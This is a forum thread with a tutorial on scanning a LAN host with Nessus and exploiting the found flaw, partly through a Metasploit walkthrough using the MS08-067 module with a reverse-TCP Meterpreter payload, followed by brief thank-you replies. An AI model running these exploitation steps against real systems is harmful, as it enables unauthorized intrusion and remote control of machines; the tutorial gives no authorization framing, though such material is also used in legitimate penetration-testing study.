Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (0)

Powered by Vanilla. Made with Bootstrap.
  • chroniccommand
    Posts: 1,389
    Nessus is a powerful fingerprinting tool. It can be used to find vulnerabilities in a target's machine. After finding vulnerabilities you may exploit them by searching for exploits online, using Metasploit, or Coding your own. I will be going over each one in this tutorial.

    Part 1 - Installing
    To install Nessus, you need the Nessus client and the server. Preform this command:
    sudo aptitude install nessus nessusd

    This will install both Nessus and Nessusd(The nessus server). Now run nessusd, set it up and keep the server running while using the Nessus client.
    To run the Nessus server, just type "nessusd". Now type "nessus" to run nessus client. It should open a GUI of nessus. From here, just update Nessus and download new plugins.

    Part 2 - Finding a vuln
    Now we use Nessus to find a remote vulnerability on the target system. To do this, type your nessud username and password in the Username and Password fields. For the field titled "Nessud host" type "localhost" now for the port type the nessusd port(Default:1241)
    Now hit login. After a few seconds you should be logged in. Now hit the "Target" tab on the top. From here you can make a .txt file with all the hosts to scan. For this scan, we are going to scan one host on our network, 192.168.1.8
    So type that in the "Target(s)" box. Check the "Save this session" box, to save this session for later use. Now hit the "Start the scan" button. This will start a vulnerability scan on the target. So now I wait, and I wait, and I wait. After a bit Nessus should show the vulns. So we see that this box is vulnerable to a certain Microsoft RPC remote code execution vulnerability at high risk. Save the scan to a .xml file, which will be used for Metasploit and future archiving.

    Part 3 - Exploitation(Find online)
    So now we know what our target is vulnerable to. Try these sites:
    http://exploit-db.com/
    http://milw0rm.com/

    So from here we can search for exploits. Lets say we find a .pl exploit for this vulnerability. We save it to a .pl file, and type this:
    perl exploit.pl

    This will execute the Perl exploit

    Part 4 - Exploitation(Metasploit)
    Now we will use Metasploit to exploit the target. We know what it's vulnerable to, and we know Metasploit has a exploit module for this. Open Metasploit and type
    show exploits

    After a bit, all the exploits Metasploit has to offer will be shown. So for this exploit we will use
    windows/smb/ms08_067_netapi

    To use this exploit type
    use windows/smb/ms08_067_netapi

    This will load this exploit module and it should look like this:
    msf exploit(ms08_067_netapi) >

    Now we are using that exploit. Now type
    show payloads

    This will show all available payloads you can use with this exploit. Find one that you want to use. We will be gaining a Meterpereter session, so we type this:
    set payload windows/meterpreter/reverse_tcp

    This will use reverse TCP meterpreter session. Now we use this command:
    show options

    This will show the options available for this. We're going to set the RHOST to 192.168.1.8 by using the command:
    set RHOST 192.168.1.8

    Now this sets RHOST to 192.168.1.8 Now type show options again, make sure everything is set to how you want and type the following:
    exploit

    This will simply exploit the target machine. After a couple seconds you should get a meterpreter session!

    Part 5 - Coding your exploits
    One essential part of hacking is coding. I recommend starting with Python, then C, then ASM and then whatever languages you want. If we wanted to code an exploit in Python, we need to know how the vulnerability works, etc.. We also must learn how to code Sockets. Sockets are essential. This will be what we're using to connect to the target machine, and send the payload. The payload is usually Shellcode, but can be other things.

    I hope you enjoyed this short tutorial on finding vulnerabilities with Nessus and exploiting them.

    --Chroniccommand
  • Bursihido
    Posts: 406
    thanks bro for nessus tutorial :) . ...............................
  • chroniccommand
    Posts: 1,389
    No problem I made it on your request.
  • Xin
    Posts: 3,251
    Great tutorial again bro :),
    Xin